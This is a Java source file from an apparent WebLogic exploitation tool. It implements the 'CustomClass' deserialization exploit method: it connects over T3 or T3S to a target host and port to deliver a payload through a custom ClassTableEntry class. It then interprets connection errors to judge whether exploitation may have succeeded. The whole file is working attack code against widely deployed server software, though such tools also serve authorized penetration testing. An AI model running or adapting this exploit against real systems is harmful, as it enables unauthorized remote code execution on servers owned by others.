/*
	CustomClassTableEntryExploit.java
	
	v0.4 (10/23/2018)
	
	Class for executing java deserialization exploit against WebLogic Servers by way of a custom implementation of the weblogic.rjvm.ClassTableEntry class 
	For T3S connections, JVM SSL/TLS settings (enabled protocol(s), disabling certification	validation, etc.) must be configured BEFORE calling 
	runCustomClassExploit method.
*/

package bort.millipede.wlt3;

import java.util.Hashtable;
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.CommunicationException;

class CustomClassTableEntryExploit {
	static void runCustomClassExploit(String host,int port,boolean t3s,boolean verbose) {
		String protocol = "t3";
		if(t3s) protocol = "t3s";
		
		//set connection properties
		Hashtable<String,Object> env = new Hashtable<String,Object>();
		env.put(Context.INITIAL_CONTEXT_FACTORY,"weblogic.jndi.WLInitialContextFactory");
		env.put(Context.PROVIDER_URL,protocol+"://"+host+":"+Integer.toString(port));

		//open connection and send payload
		Context ctx = null;
		try {
			ctx = new InitialContext(env);
			System.out.print("\b\b\b\bsucceeded!\n");
			System.out.println("No Exception(s) thrown, exploitation may be successful!");
		} catch(CommunicationException ce) {
			parseCommunicationException(ce,protocol,host,port,verbose);
		} catch(Exception e) {
			System.err.println("Unknown Error occurred ("+e.getClass().getName()+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
			if(verbose) {
				System.err.print("\n");
				e.printStackTrace();
			}
		} finally {
			try {
				ctx.close();
			}
			catch (Exception e) {
				//don't care
			}
		}
	}
	
	//parse output of expected javax.naming.CommunicationException thrown during attempted exploitation
	private static void parseCommunicationException(CommunicationException ce,String protocol,String host,int port,boolean verbose) {
		Throwable cause = ce.getCause();
		if(cause!=null) {
			String eType = cause.getClass().getName();
			switch(eType) {
				case "java.net.ConnectException":
					String message = cause.getMessage();
					if(message!=null) {
						if(message.contains("Bootstrap") && message.contains("failed") && message.contains("remote side declared peer gone on this JVM")) { //exploit may have succeeded
							System.out.print("\b\b\b\b???\n");
							System.err.println("\"peer gone\" error occurred, but this can be normal for \"CustomClass\" exploit method. Exploitation may be successful!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
						} else if(message.contains("java.io.IOException: Empty server reply")) { //Server may not be WebLogic server
							System.out.print("\b\b\b\bfailed!\n");
							System.err.println("Target Server/Port at "+host+":"+port+" does not appear to be running "+protocol.toUpperCase()+"! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
						} else if(message.contains("java.net.ConnectException: Connection refused")) { //host is down or port is closed
							System.out.print("\b\b\b\bfailed!\n");
							System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" refused! Target host appears to be down or port is closed!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
						} else if(message.contains("javax.net.ssl.SSLHandshakeException")) {
							System.out.print("\b\b\b\bfailed!\n");
							if(message.contains("handshake_failure")) { //SSL Handshake failed due to mismatched supported protocols
								System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed (Handshake Error)! Try a different SSL/TLS connection protocol!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
							} else if(message.contains("Remote host closed connection during handshake")) { //SSL Handshake failed due to server not supporting encrypted connections
								System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed, Remote host closed connection during handshake! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
							} else { //SSL Handshake failed because server may only support clear-text connection
								System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
							}
						} else if(message.contains("javax.net.ssl.SSLException: Unsupported record version")) { //T3S connection failed due to mismatched supported protocols
							System.out.print("\b\b\b\bfailed!\n");
							System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed! Try a different SSL/TLS connection protocol!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
						} else if(message.contains("javax.net.ssl.SSLException: Unrecognized SSL message, plaintext connection?")) { //T3S connection failed due to server not supporting encrypted connections
							System.out.print("\b\b\b\bfailed!\n");
							System.err.println(protocol.toUpperCase()+" Connection to "+host+":"+Integer.toString(port)+" failed, Remote host closed connection during handshake! Target host/port may not be running an SSL/TLS service!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
						} else if(message.contains("java.net.SocketException: Connection reset") && protocol.toUpperCase().equals("T3")) { //clear-text connection failed because server only supports encrypted connection
							System.out.print("\b\b\b\bfailed!\n");
							System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Service may be running with SSL/TLS (use --t3s option)!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
						} else { //Unknown Connection Error
							System.err.println("Unknown Connection Error occurred: connection failed"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
						}
					}
					break;
				case "weblogic.socket.UnrecoverableConnectException":
					System.out.print("\b\b\b\bfailed!\n");
					message = cause.getMessage();
					if(message.contains("Login failed for an unknown reason") && protocol.toUpperCase().equals("T3")) { //clear-text connection failed because server only supports encrypted connection
						System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Service may be running with SSL/TLS (use --t3s option)!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
					} else if(message.contains("Login failed for an unknown reason") && protocol.toUpperCase().equals("T3S")) { //encrypted connection failed because server only supports clear-text connection
						System.err.println("Target Server/Port at "+host+":"+port+" forcefully reset "+protocol.toUpperCase()+" connection! Target may not be a WebLogic Server!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
					} else { //Unknown Unrecoverable Connection Error
						System.err.println("Unknown Unrecoverable Connection Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
					}
					break;
				default: //Unknown Connection Error
					System.out.print("\b\b\b\b???\n");
					System.err.println("Unknown Connection Error occurred ("+eType+")!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
					break;
			}
		} else { //Unknown Communication Error
			System.out.print("\b\b\b\b???\n");
			System.err.println("Unknown Communication Error occurred!"+(verbose ? "" : "\nRe-run with --verbose option to see full error output!"));
		}
		
		if(verbose) { //print full stack trace output if --verbose option is set
			System.err.print("\n");
			ce.printStackTrace();
		}
	}
}